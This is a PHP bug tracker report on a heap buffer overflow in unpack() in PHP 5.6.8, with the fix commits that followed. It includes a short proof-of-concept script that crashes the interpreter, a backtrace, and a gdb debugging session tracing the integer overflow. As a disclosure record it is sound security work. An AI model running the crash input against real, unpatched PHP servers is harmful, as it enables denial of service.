php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69522 heap buffer overflow in unpack()
Submitted: 2015-04-24 08:37 UTC Modified: 2015-05-13 23:30 UTC
From: s dot paraschoudis at gmail dot com Assigned: stas (profile)
Status: Closed Package: Reproducible crash
PHP Version: 5.6.8 OS: Ubuntu 14.04 32-bit, could not r
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: s dot paraschoudis at gmail dot com
New email:
PHP Version: OS:

 

 [2015-04-24 08:37 UTC] s dot paraschoudis at gmail dot com
Description:
------------
The atoi() function within unpack() handles incorrectly the format parameter and as such allocates a near null size buffer leading to a heap buffer overflow.

PoC
=======
<?php
$a = pack("AAAAAAAAAAAA");
$b = unpack('h2147483648', $a);
?>

Backtrace
=========
#0  0xb7ee84c9 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x081e0e31 in _estrndup (s=0xb7d8fb80 "\324sD\b", length=0xffffffff) at /home/user/Desktop/php-5.6.8/Zend/zend_alloc.c:2655
#2  0x0820ff86 in add_assoc_stringl_ex (arg=0xb7d8eb18, key=0xbfffb80c "1", key_len=0x2, str=0xb7d8fb80 "\324sD\b", length=0xffffffff, duplicate=0x1) at /home/user/Desktop/php-5.6.8/Zend/zend_API.c:1295
#3  0x081525ce in zif_unpack (ht=0x2, return_value=0xb7d8eb18, return_value_ptr=0xb7d74084, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.8/ext/standard/pack.c:843
#4  0x08244351 in zend_do_fcall_common_helper_SPEC (execute_data=0xb7d740b0) at /home/user/Desktop/php-5.6.8/Zend/zend_vm_execute.h:558
#5  0x0824a7f8 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0xb7d740b0) at /home/user/Desktop/php-5.6.8/Zend/zend_vm_execute.h:2599
#6  0x08242ecc in execute_ex (execute_data=0xb7d740b0) at /home/user/Desktop/php-5.6.8/Zend/zend_vm_execute.h:363
#7  0x0824359a in zend_execute (op_array=0xb7d8efc0) at /home/user/Desktop/php-5.6.8/Zend/zend_vm_execute.h:388
#8  0x0820c534 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/user/Desktop/php-5.6.8/Zend/zend.c:1341
#9  0x0819856b in php_execute_script (primary_file=0xbfffdec0) at /home/user/Desktop/php-5.6.8/main/main.c:2597
#10 0x082fb1f8 in do_cli (argc=0x2, argv=0x8447018) at /home/user/Desktop/php-5.6.8/sapi/cli/php_cli.c:994
#11 0x082fc0e5 in main (argc=0x2, argv=0x8447018) at /home/user/Desktop/php-5.6.8/sapi/cli/php_cli.c:1378
#12 0xb7dcda83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#13 0x0805b321 in _start ()

Bug Analysis
============
We begin by setting a couple of breakpoints and observe the variables.

gdb-peda$ r
Breakpoint 1, zif_unpack (ht=0x2, return_value=0xb7d8eb18, return_value_ptr=0xb7d74084, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.8/ext/standard/pack.c:609
609					arg = atoi(format);

gdb-peda$ print format
$2 = 0xb7c7ed25 "2147483648"

gdb-peda$ next
611					while (formatlen > 0 && *format >= '0' && *format <= '9') {

gdb-peda$ p/d arg
$3 = 2147483647
gdb-peda$ p/x arg
$4 = 0x7fffffff
gdb-peda$ ptype arg
type = int
gdb-peda$ print sizeof(int)
$5 = 0x4

As you can see, atoi() has truncated the value to a maximum int which will be assigned to argb and calculate the length:

gdb-peda$ c
Continuing.

Breakpoint 2, zif_unpack (ht=0x2, return_value=0xb7d8eb18, return_value_ptr=0xb7d74084, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.8/ext/standard/pack.c:624
624			argb = arg;
gdb-peda$ c
Continuing.

Warning: unpack(): Type h: integer overflow in /home/user/Desktop/poc.php on line 3

Breakpoint 3, zif_unpack (ht=0x2, return_value=0xb7d8eb18, return_value_ptr=0xb7d74084, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.8/ext/standard/pack.c:819
819								len -= argb % 2;

gdb-peda$ ptype len
type = int
gdb-peda$ p/d len
$6 = 0
gdb-peda$ p/d argb % 2
$7 = 1

gdb-peda$ next

Breakpoint 4, zif_unpack (ht=0x2, return_value=0xb7d8eb18, return_value_ptr=0xb7d74084, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.8/ext/standard/pack.c:822
822							buf = emalloc(len + 1);

gdb-peda$ p/d len
$8 = -1
gdb-peda$ p/x len
$9 = 0xffffffff

After stepping at breakpoint 3, we now see that len is -1 and as a result buf will be allocated with 0 bytes.

gdb-peda$ c
Continuing.

Breakpoint 5, zif_unpack (ht=0x2, return_value=0xb7d8eb18, return_value_ptr=0xb7d74084, this_ptr=0x0, return_value_used=0x1) at /home/user/Desktop/php-5.6.8/ext/standard/pack.c:842
842							buf[len] = '\0';

The above code will not terminate the string properly as it uses an invalid range.

gdb-peda$ next
843							add_assoc_stringl(return_value, n, buf, len, 1);

Next, we will step into the add_assoc_stringl() which in turn it will try to create a ZVAL_STRINGL variable
and eventually call the _estrndup function:

File: Zend/zend_alloc.c

2641 ZEND_API char *_estrndup(const char *s, uint length ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
2642 {
2643         char *p;
2644 #ifdef ZEND_SIGNALS
2645         TSRMLS_FETCH();
2646 #endif
2647 
2648         HANDLE_BLOCK_INTERRUPTIONS();
2649 
2650         p = (char *) _emalloc(length+1 ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
2651         if (UNEXPECTED(p == NULL)) {
2652                 HANDLE_UNBLOCK_INTERRUPTIONS();
2653                 return p;
2654         }
2655         memcpy(p, s, length);
2656         p[length] = 0;
2657         HANDLE_UNBLOCK_INTERRUPTIONS();
2658         return p;
2659 }

Continuing the execution we get:

gdb-peda$ c
Continuing.

Breakpoint 6, _estrndup (s=0xb7d8fb80 "", length=0xffffffff) at /home/user/Desktop/php-5.6.8/Zend/zend_alloc.c:2655
2655		memcpy(p, s, length);

gdb-peda$ print p
$10 = 0xb7d8fb68 "\230rD\b\230rD\b"
gdb-peda$ print s
$11 = 0xb7d8fb80 ""
gdb-peda$ print length
$12 = 0xffffffff
gdb-peda$ p/d length
$13 = 4294967295

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7db4098 --> 0x1a81d4 
EBX: 0xb7f5e000 --> 0x1a9da8 
ECX: 0xfffdba67 
EDX: 0xb7db4000 --> 0x464c457f 
ESI: 0x1 
EDI: 0xb7d74084 --> 0xb7d8eb18 --> 0xb7d8f300 --> 0x8 
EBP: 0xbfffb6d8 --> 0xbfffb718 --> 0xbfffb918 --> 0xbfffba28 --> 0xbfffba68 --> 0xbfffbb38 --> 0xbfffbbf8 --> 0xbfffbc58 --> 0xbfffddf8 --> 0xbfffefe8 --> 0xbffff108 --> 0x0 
ESP: 0xbfffb6a8 --> 0xffffffff 
EIP: 0xb7ee84c9 (movntdq XMMWORD PTR [edx],xmm0)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7ee84ba:	lea    eax,[eax+0x80]
   0xb7ee84c0:	lfence 
   0xb7ee84c3:	sub    ecx,0x80
=> 0xb7ee84c9:	movntdq XMMWORD PTR [edx],xmm0
   0xb7ee84cd:	movntdq XMMWORD PTR [edx+0x10],xmm1
   0xb7ee84d2:	movntdq XMMWORD PTR [edx+0x20],xmm2
   0xb7ee84d7:	movntdq XMMWORD PTR [edx+0x30],xmm3
   0xb7ee84dc:	movntdq XMMWORD PTR [edx+0x40],xmm4
[------------------------------------stack-------------------------------------]
0000| 0xbfffb6a8 --> 0xffffffff 
0004| 0xbfffb6ac --> 0x81e0e31 (<_estrndup+99>:	mov    eax,DWORD PTR [ebp+0xc])
0008| 0xbfffb6b0 --> 0xb7d8fb68 --> 0x0 
0012| 0xbfffb6b4 --> 0xb7d8fb80 --> 0x84473d4 --> 0xb7d8fe7c --> 0x0 
0016| 0xbfffb6b8 --> 0xffffffff 
0020| 0xbfffb6bc --> 0x81e0ae3 (<_emalloc+63>:	leave)
0024| 0xbfffb6c0 --> 0x84471c0 --> 0x1 
0028| 0xbfffb6c4 --> 0x14 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7ee84c9 in ?? () from /lib/i386-linux-gnu/libc.so.6

Both p and s variable point to garbage and as length is an unsigned int it will try to copy 4294967295 bytes
and eventually crash.

Please note that this bug is not exploitable as we are not able to control the buffer.



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-05-10 07:42 UTC] s dot paraschoudis at gmail dot com
Hi, did anyone have some time to confirm the issue?

Many thanks,
Symeon.
 [2015-05-12 19:40 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=ba1d9cc4b730811c0366158f3157af26268814a6
Log: Fix bug #69522 - do not allow int overflow
 [2015-05-12 19:40 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-05-12 22:58 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=ba1d9cc4b730811c0366158f3157af26268814a6
Log: Fix bug #69522 - do not allow int overflow
 [2015-05-13 08:22 UTC] s dot paraschoudis at gmail dot com
Many thanks, can I please request a CVE?
Thanks again.
 [2015-05-13 10:53 UTC] jpauli@php.net
Automatic comment on behalf of jpauli
Revision: http://git.php.net/?p=php-src.git;a=commit;h=658b9b0ab26eedb3e13a583d1585f502e7da728f
Log: Backport of Fix bug #69522 - do not allow int overflow
 [2015-05-13 23:30 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2015-05-13 23:30 UTC] stas@php.net
Since this requires specially crafted arguments to unpack, unlikely to be under external control, I'm not sure this needs a CVE.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Dec 03 16:01:33 2024 UTC